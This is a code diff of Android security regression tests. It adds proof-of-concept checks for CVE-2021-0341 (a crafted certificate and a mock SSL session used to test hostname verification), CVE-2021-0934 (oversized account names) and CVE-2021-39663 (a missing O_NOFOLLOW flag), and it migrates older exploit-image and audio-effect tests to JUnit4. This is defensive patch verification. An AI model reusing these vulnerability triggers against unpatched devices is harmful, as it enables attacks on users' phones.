+ private Certificate[] certs = null;
+ private javax.security.cert.X509Certificate[] xCerts = null;
+
+ public CVE_2021_0341_SSLSession(Certificate[] xc)
+ throws CertificateEncodingException, CertificateException {
+ certs = xc;
+ xCerts = new javax.security.cert.X509Certificate[xc.length];
+ int i = 0;
+ for (Certificate cert : xc) {
+ xCerts[i++] = javax.security.cert.X509Certificate.getInstance(cert.getEncoded());
+ }
+ }
+
+ public int getApplicationBufferSize() {
+ return 1234567;
+ }
+
+ public String getCipherSuite() {
+ return "SuiteName";
+ }
+
+ public long getCreationTime() {
+ return 1000L;
+ }
+
+ public byte[] getId() {
+ return idData;
+ }
+
+ public long getLastAccessedTime() {
+ return 2000L;
+ }
+
+ public Certificate[] getLocalCertificates() {
+ return null;
+ }
+
+ public Principal getLocalPrincipal() {
+ return null;
+ }
+
+ public int getPacketBufferSize() {
+ return 12345;
+ }
+
+ public Certificate[] getPeerCertificates() throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (certs == null));
+ return certs;
+ }
+
+ public javax.security.cert.X509Certificate[] getPeerCertificateChain()
+ throws SSLPeerUnverifiedException {
+ assumeFalse("peer not authenticated", (xCerts == null));
+ return xCerts;
+ }
+
+ public String getPeerHost() {
+ return nameHost;
+ }
+
+ public int getPeerPort() {
+ return namePort;
+ }
+
+ public Principal getPeerPrincipal() throws SSLPeerUnverifiedException {
+ return null;
+ }
+
+ public String getProtocol() {
+ return "ProtocolName";
+ }
+
+ public SSLSessionContext getSessionContext() {
+ return null;
+ }
+
+ public void putValue(String s, Object obj) {
+ assumeFalse("arguments can not be null", (s == null || obj == null));
+ Object obj1 = table.put(s, obj);
+ if (obj1 instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj1).valueUnbound(sslsessionbindingevent);
+ }
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent1 = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueBound(sslsessionbindingevent1);
+ }
+ }
+
+ public void removeValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ Object obj = table.remove(s);
+ if (obj instanceof SSLSessionBindingListener) {
+ SSLSessionBindingEvent sslsessionbindingevent = new SSLSessionBindingEvent(this, s);
+ ((SSLSessionBindingListener) obj).valueUnbound(sslsessionbindingevent);
+ }
+ }
+
+ public Object getValue(String s) {
+ assumeFalse("argument can not be null", (s == null));
+ return table.get(s);
+ }
+
+ public String[] getValueNames() {
+ Vector vector = new Vector();
+ Enumeration enumeration = table.keys();
+ while (enumeration.hasMoreElements()) {
+ vector.addElement(enumeration.nextElement());
+ }
+ String as[] = new String[vector.size()];
+ vector.copyInto(as);
+ return as;
+ }
+
+ public void invalidate() {
+ invalidateDone = true;
+ }
+
+ public boolean isValid() {
+ return invalidateDone;
+ }
+}
+
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0341 {
+
+ public final static byte[] X509_TEST_CERTIFICATE = ("-----BEGIN CERTIFICATE-----\n"
+ + "MIIC3DCCAcSgAwIBAgIURJspNgSx6GVbOLijqravWoGlm+0wDQYJKoZIhvcNAQEL\n"
+ + "BQAwETEPMA0GA1UECgwGZ29vZ2xlMB4XDTIyMDIxNzExNTE1NFoXDTMxMTExNzEx\n"
+ + "NTE1NFowETEPMA0GA1UECgwGZ29vZ2xlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A\n"
+ + "MIIBCgKCAQEA2PxVfeoY/uA66aVRXpuZXodTBFBGowTt/lAJxR8fVjDwRTOrRTrr\n"
+ + "2qdLPPK40lFQOSfHw/g6+9WjNjjSDBP+U2Agrvo8cU5R1DwJWyK2wcHOtBcL2bsj\n"
+ + "kRx18CZtZUu51a8KEhMCaIoHgGzwGMZkJnfmfO9ABbMfFsyn6KxFf0MXG3bRcQU7\n"
+ + "LyCXyQbo2Lal68QiTMXZs9rXN/a8ex+RmP9PKaXIEsIOeDrtLhzcWyNjrtTuDRoR\n"
+ + "K49xHOpz4EmqHLDzIKuhqyyo9tLR+okK0BRJoNxmfvRTbxNbjzpTTFgyB4KrKBCO\n"
+ + "VQXJROlBf7594xlCMn0QSwElVT4bMaMw/QIDAQABoywwKjAoBgNVHREEITAfggkq\n"
+ + "LmJhci5jb22CEiou44Kw44O844Kw44OrLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEA\n"
+ + "piIwY84InjX4BUmAmM+D9CHD/9euucGxgdXqL6kKG1HRL6lHfwZAIxhlbn3jWFEx\n"
+ + "k5DTkaL039FGLvYzMI0McwTIuHY/7JwCbZUJ3pVl0waW4sab+2LScnpe9c422Tqb\n"
+ + "hECEhc71E/kRlG9FjQN3wjEj3RcnWZAWCqAnJN/dcd/1tBD88tzHVckDC9mSvxzP\n"
+ + "hkmIRRifIDxcrmx7PkpJ6dAfiw9e1Pl5THdsPTDtiGJ4hjlsAi8ury3rrx31lsyo\n"
+ + "kAwQy23Q7Rcbr2z8bijDuSWWWc9RRsz+O/ePy35NJci/RUwVFTpvOFtahC30Jdv3\n"
+ + "vpmqxLqEF7Z9I1yb3Q6YUg==\n" + "-----END CERTIFICATE-----\n").getBytes();
+
+ /**
+ * b/171980069
+ */
+ @AsbSecurityTest(cveBugId = 171980069)
+ @Test
+ public void testPocCVE_2021_0341() throws Exception {
+ CertificateFactory cf = CertificateFactory.getInstance("X.509");
+ assumeNotNull(cf);
+ HostnameVerifier verifier = HttpsURLConnection.getDefaultHostnameVerifier();
+ assumeNotNull(verifier);
+ InputStream in = new ByteArrayInputStream(X509_TEST_CERTIFICATE);
+ java.security.cert.X509Certificate x509 =
+ (java.security.cert.X509Certificate) cf.generateCertificate(in);
+ assumeNotNull(x509);
+ CVE_2021_0341_SSLSession session =
+ new CVE_2021_0341_SSLSession(new java.security.cert.X509Certificate[] {x509});
+ assertFalse(verifier.verify("\u82b1\u5b50.bar.com", session));
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index b39bc711ecd..d43714208b9 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -18,13 +18,14 @@ package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import dalvik.system.VMRuntime;
import org.junit.runner.RunWith;
import org.junit.Test;
import static org.junit.Assert.assertFalse;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0394 {
+public class CVE_2021_0394 extends StsExtraBusinessLogicTestCase {
static {
System.loadLibrary("ctssecurity_jni");
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
index 8a883ff7fdc..d4b0179d363 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0521.java
@@ -22,6 +22,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.List;
@@ -34,7 +35,7 @@ import static org.junit.Assert.assertThat;
import static org.junit.Assume.assumeThat;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0521 {
+public class CVE_2021_0521 extends StsExtraBusinessLogicTestCase {
private String TAG = "CVE_2021_0521";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
index 855ad37788b..b79070fdbec 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java
@@ -26,13 +26,14 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0922 {
+public class CVE_2021_0922 extends StsExtraBusinessLogicTestCase {
private Instrumentation mInstrumentation;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
new file mode 100644
index 00000000000..0f44d8cc226
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0934 extends StsExtraBusinessLogicTestCase {
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 169762606)
+ @Test
+ public void testPocCVE_2021_0934() {
+ try {
+ // Creating an account with arguments 'name' and 'type' whose
+ // lengths are greater than 200
+ String name = new String(new char[300]).replace("\0", "n");
+ String type = new String(new char[300]).replace("\0", "t");
+ Account acc = new Account(name, type);
+ assumeNotNull(acc);
+
+ // Shouldn't have reached here, unless fix is not present
+ fail("Vulnerable to b/169762606, allowing account name/type "
+ + "with character count 300 whereas limit is 200");
+ } catch (Exception e) {
+ if (e instanceof IllegalArgumentException) {
+ // This is expected with fix
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
new file mode 100644
index 00000000000..0add1bd4007
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.system.OsConstants.F_GETFL;
+import static android.system.OsConstants.O_NOFOLLOW;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.provider.MediaStore;
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.FileDescriptor;
+import java.io.IOException;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_39663 extends StsExtraBusinessLogicTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 200682135)
+ public void testPocCVE_2021_39663() {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ ContentResolver contentResolver = context.getContentResolver();
+ try {
+ Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+ new ContentValues());
+ ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw");
+ assumeNotNull(pfd);
+ FileDescriptor fd = pfd.getFileDescriptor();
+ int flags = Os.fcntlInt(fd, F_GETFL, 0);
+ pfd.close();
+ contentResolver.delete(uri, null, null);
+ assumeTrue("Unable to read file status flags", flags > 0);
+ assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW,
+ flags & O_NOFOLLOW);
+ } catch (ErrnoException | IOException e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
index 3022b6cec8e..23860530619 100644
--- a/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
+++ b/tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java
@@ -18,7 +18,7 @@ package android.security.cts;
import android.content.Context;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.security.KeyStore;
import java.security.cert.Certificate;
@@ -32,7 +32,13 @@ import javax.net.ssl.TrustManager;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
-public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class ConscryptIntermediateVerificationTest extends StsExtraBusinessLogicTestCase {
private X509Certificate[] loadCertificates(int resource) throws Exception {
CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
@@ -76,6 +82,7 @@ public class ConscryptIntermediateVerificationTest extends AndroidTestCase {
}
@AsbSecurityTest(cveBugId = 26232830)
+ @Test
public void testIntermediateVerification() throws Exception {
X509TrustManager tm = getTrustManager();
X509Certificate[] validChain = loadCertificates(R.raw.intermediate_test_valid);
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 26ab802b0e9..16c8905afe9 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -19,13 +19,20 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.security.cts.R;
-public class DecodeTest extends AndroidTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class DecodeTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device fails to decode a large, corrupt BMP.
*
@@ -33,8 +40,9 @@ public class DecodeTest extends AndroidTestCase {
* decode.
*/
@AsbSecurityTest(cveBugId = 34778578)
+ @Test
public void test_android_bug_34778578() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_34778578);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
@@ -46,8 +54,9 @@ public class DecodeTest extends AndroidTestCase {
* decode.
*/
@AsbSecurityTest(cveBugId = 67381469)
+ @Test
public void test_android_bug_67381469() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_67381469);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 5aef70233f0..ab98f998252 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -22,7 +22,7 @@ import android.media.audiofx.Equalizer;
import android.media.audiofx.PresetReverb;
import android.media.MediaPlayer;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.InstrumentationTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import android.util.Log;
import java.nio.ByteBuffer;
@@ -31,7 +31,14 @@ import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.UUID;
-public class EffectBundleTest extends InstrumentationTestCase {
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class EffectBundleTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "EffectBundleTest";
private static final int[] INVALID_BAND_ARRAY = {Integer.MIN_VALUE, -10000, -100, -2, -1};
private static final int mValue0 = 9999; //unlikely values. Should not change
@@ -48,6 +55,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32436341
@AsbSecurityTest(cveBugId = 32436341)
+ @Test
public void testEqualizer_getParamCenterFreq() throws Exception {
if (!hasEqualizer()) {
return;
@@ -58,6 +66,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32588352
@AsbSecurityTest(cveBugId = 32588352)
+ @Test
public void testEqualizer_getParamCenterFreq_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -67,6 +76,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32438598
@AsbSecurityTest(cveBugId = 32438598)
+ @Test
public void testEqualizer_getParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -76,6 +86,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32584034
@AsbSecurityTest(cveBugId = 32584034)
+ @Test
public void testEqualizer_getParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -85,6 +96,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32247948
@AsbSecurityTest(cveBugId = 32247948)
+ @Test
public void testEqualizer_getParamFreqRange() throws Exception {
if (!hasEqualizer()) {
return;
@@ -95,6 +107,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32588756
@AsbSecurityTest(cveBugId = 32588756)
+ @Test
public void testEqualizer_getParamFreqRange_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -105,6 +118,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32448258
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testEqualizer_getParamPresetName() throws Exception {
if (!hasEqualizer()) {
return;
@@ -114,6 +128,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 32588016
@AsbSecurityTest(cveBugId = 32588016)
+ @Test
public void testEqualizer_getParamPresetName_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -155,6 +170,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32095626
@AsbSecurityTest(cveBugId = 32095626)
+ @Test
public void testEqualizer_setParamBandLevel() throws Exception {
if (!hasEqualizer()) {
return;
@@ -171,6 +187,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32585400
@AsbSecurityTest(cveBugId = 32585400)
+ @Test
public void testEqualizer_setParamBandLevel_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -187,6 +204,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32705438
@AsbSecurityTest(cveBugId = 32705438)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -197,6 +215,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 32703959
@AsbSecurityTest(cveBugId = 32703959)
+ @Test
public void testEqualizer_getParamFreqRangeCommand_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -207,6 +226,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 37563371 (short media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_short() throws Exception {
if (!hasEqualizer()) {
return;
@@ -217,6 +237,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//testing security bug: 37563371 (long media)
@AsbSecurityTest(cveBugId = 37563371)
+ @Test
public void testEqualizer_setParamProperties_long() throws Exception {
if (!hasEqualizer()) {
return;
@@ -227,6 +248,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 63662938
@AsbSecurityTest(cveBugId = 63662938)
+ @Test
public void testDownmix_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
EFFECT_TYPE_DOWNMIX, new int[] { DOWNMIX_PARAM_TYPE });
@@ -243,6 +265,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 63526567
@AsbSecurityTest(cveBugId = 63526567)
+ @Test
public void testEnvironmentalReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_ENV_REVERB, new int[] {
@@ -263,6 +286,7 @@ public class EffectBundleTest extends InstrumentationTestCase {
//Testing security bug: 67647856
@AsbSecurityTest(cveBugId = 67647856)
+ @Test
public void testPresetReverb_setParameter() throws Exception {
verifyZeroPVSizeRejectedForSetParameter(
AudioEffect.EFFECT_TYPE_PRESET_REVERB, new int[] {
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
index 8fe8054a2d9..0ceee07f446 100644
--- a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -16,7 +16,6 @@
package android.security.cts
-import android.app.Instrumentation
import android.graphics.Rect
import android.os.SystemClock
import android.platform.test.annotations.AsbSecurityTest
@@ -34,8 +33,8 @@ import androidx.test.core.app.ActivityScenario
import androidx.test.ext.junit.rules.ActivityScenarioRule
import androidx.test.ext.junit.runners.AndroidJUnit4
import androidx.test.filters.MediumTest
-import androidx.test.platform.app.InstrumentationRegistry
import com.android.compatibility.common.util.PollingCheck
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Assert.assertNull
@@ -115,8 +114,7 @@ private class SurfaceCreatedCallback(created: CountDownLatch) : SurfaceHolder.Ca
* test code. The third approach requires adding an embedded window, and the code for that test was
* forked to avoid excessive branching.
*/
-class FlagSlipperyTest {
- private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+class FlagSlipperyTest : StsExtraBusinessLogicTestCase {
private lateinit var scenario: ActivityScenario<SlipperyEnterBottomActivity>
private lateinit var windowManager: WindowManager
@@ -132,10 +130,12 @@ class FlagSlipperyTest {
val rule = ActivityScenarioRule<SlipperyEnterBottomActivity>(
SlipperyEnterBottomActivity::class.java)
+ constructor() : super()
+
@Before
fun setup() {
scenario = rule.getScenario()
- windowManager = instrumentation.getTargetContext().getSystemService<WindowManager>(
+ windowManager = getInstrumentation().getTargetContext().getSystemService<WindowManager>(
WindowManager::class.java)
setDimensionsToQuarterScreen()
@@ -156,7 +156,7 @@ class FlagSlipperyTest {
// ========================== Regular window tests =============================================
private fun addWindow(slipperyWhenAdded: Boolean): View {
- val view = View(instrumentation.targetContext)
+ val view = View(getInstrumentation().targetContext)
scenario.onActivity {
view.setOnTouchListener(OnTouchListener(view))
view.setBackgroundColor(android.graphics.Color.RED)
@@ -220,7 +220,7 @@ class FlagSlipperyTest {
private lateinit var mVr: SurfaceControlViewHost
private fun addEmbeddedHostWindow(): SurfaceView {
- val surfaceView = SurfaceView(instrumentation.targetContext)
+ val surfaceView = SurfaceView(getInstrumentation().targetContext)
val surfaceCreated = CountDownLatch(1)
scenario.onActivity {
surfaceView.setZOrderOnTop(true)
@@ -247,7 +247,7 @@ class FlagSlipperyTest {
embeddedViewDrawn.countDown()
}
layoutCompleted.set(false)
- val embeddedView = View(instrumentation.targetContext)
+ val embeddedView = View(getInstrumentation().targetContext)
scenario.onActivity {
embeddedView.setOnTouchListener(OnTouchListener(surfaceView))
embeddedView.setBackgroundColor(android.graphics.Color.RED)
@@ -340,7 +340,7 @@ class FlagSlipperyTest {
PollingCheck.waitFor {
layoutCompleted.get()
}
- instrumentation.uiAutomation.syncInputTransactions(true /*waitAnimations*/)
+ getInstrumentation().uiAutomation.syncInputTransactions(true /*waitAnimations*/)
}
private fun setDimensionsToQuarterScreen() {
@@ -360,7 +360,7 @@ class FlagSlipperyTest {
}
val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
event.source = InputDevice.SOURCE_TOUCHSCREEN
- instrumentation.uiAutomation.injectInputEvent(event, true /*sync*/)
+ getInstrumentation().uiAutomation.injectInputEvent(event, true /*sync*/)
}
companion object {
diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
index 60b329f794c..91e39e8a5fe 100644
--- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
+++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java
@@ -15,6 +15,7 @@
*/
package android.security.cts;
+import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -25,14 +26,21 @@ import android.os.RemoteException;
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.IIsolatedService;
import android.security.cts.IsolatedService;
-import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import com.android.internal.util.ArrayUtils;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import junit.framework.Assert;
+import org.junit.Before;
+import org.junit.After;
-public class IsolatedProcessTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class IsolatedProcessTest {
static final String TAG = IsolatedProcessTest.class.getSimpleName();
private static final long BIND_SERVICE_TIMEOUT = 5000;
@@ -65,15 +73,20 @@ public class IsolatedProcessTest extends AndroidTestCase {
}
};
- @Override
+ private static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ @Before
public void setUp() throws InterruptedException {
mLatch = new CountDownLatch(1);
- Intent serviceIntent = new Intent(mContext, IsolatedService.class);
- mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+ Intent serviceIntent = new Intent(getInstrumentation().getContext(), IsolatedService.class);
+ getInstrumentation().getContext().bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
Assert.assertTrue("Timed out while waiting to bind to isolated service",
mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS));
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetCachedServicesFromIsolatedService() throws RemoteException {
String[] cachedServices = mService.getCachedSystemServices();
@@ -83,6 +96,7 @@ public class IsolatedProcessTest extends AndroidTestCase {
}
}
+ @Test
@AsbSecurityTest(cveBugId = 30202228)
public void testGetServiceFromIsolatedService() throws RemoteException {
for (String serviceName : RESTRICTED_SERVICES_TO_TEST) {
@@ -92,14 +106,15 @@ public class IsolatedProcessTest extends AndroidTestCase {
}
}
+ @Test
public void testGetProcessIsIsolated() throws RemoteException {
Assert.assertFalse(Process.isIsolated());
Assert.assertTrue(mService.getProcessIsIsolated());
}
- @Override
+ @After
public void tearDown() {
- mContext.unbindService(mServiceConnection);
+ getInstrumentation().getContext().unbindService(mServiceConnection);
}
}
diff --git a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
index ecf8accc933..65eb132a359 100644
--- a/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaMetadataRetrieverTest.java
@@ -22,24 +22,31 @@ import android.content.res.AssetFileDescriptor;
import android.content.res.Resources;
import android.media.MediaMetadataRetriever;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.IOException;
-public class MediaMetadataRetrieverTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.After;
+import static org.junit.Assert.*;
+
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class MediaMetadataRetrieverTest extends StsExtraBusinessLogicTestCase {
protected Resources mResources;
protected MediaMetadataRetriever mRetriever;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mResources = getContext().getResources();
mRetriever = new MediaMetadataRetriever();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ @After
+ public void tearDown() throws Exception {
mRetriever.release();
}
@@ -53,6 +60,7 @@ public class MediaMetadataRetrieverTest extends AndroidTestCase {
}
}
+ @Test
@AsbSecurityTest(cveBugId = 24623447)
public void testID3v2EmbeddedPicture() {
